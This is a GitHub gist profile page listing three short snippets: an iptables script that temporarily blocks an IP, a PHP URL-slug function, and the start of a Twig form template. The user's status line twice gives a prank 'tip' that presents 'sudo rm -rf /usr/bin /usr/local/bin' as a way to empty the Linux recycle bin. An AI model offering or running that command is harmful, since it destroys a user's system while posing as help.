Skip to content

Instantly share code, notes, and snippets.

View DiliBau's full-sized avatar
💭
To empty the recycle bin in Linux run sudo rm -rf /usr/bin /usr/local/bin

Radu Gribincea DiliBau

💭
To empty the recycle bin in Linux run sudo rm -rf /usr/bin /usr/local/bin
  • TRISOFT GROUP
  • /home/DiliBau/
View GitHub Profile
@DiliBau
DiliBau / do-timeout.sh
Created August 19, 2016 22:39
Script for temporarily timing out connections from an ip `do-timeout.sh $ip $duration`
#!/bin/sh
iptables -I INPUT -s $1 -j DROP;
sleep $2;
iptables -D INPUT -s $1 -j DROP;
@DiliBau
DiliBau / function.slugify.php
Created July 15, 2013 06:05
function that will clean out the urls and make them pretty
<?php
function slugify( $str ) {
$str = preg_replace( '/\%/' , ' percentage' , $str );
$str = preg_replace( '/\@/' , ' at ' , $str );
$str = preg_replace( '/\&/' , ' and ' , $str );
$str = preg_replace( '/\s[\s]+/' , '-' , $str ); // Strip off multiple spaces
$str = preg_replace( '/[\s\W]+/' , '-' , $str ); // Strip off spaces and non-alpha-numeric
$str = preg_replace( '/^[\-]+/' , '' , $str ); // Strip off the starting hyphens
$str = preg_replace( '/[\-]+$/' , '' , $str ); // Strip off the ending hyphens
$str = strtolower( $str );
{% block collection_widget %}
{% spaceless %}
<div class="collection">
{% if prototype is defined %}
{% set attr = attr|merge({'data-prototype': block('collection_item_widget') }) %}
{% endif %}
<div {{ block('widget_container_attributes') }}>
{{ form_errors(form) }}
<ul>
{% for rows in form %}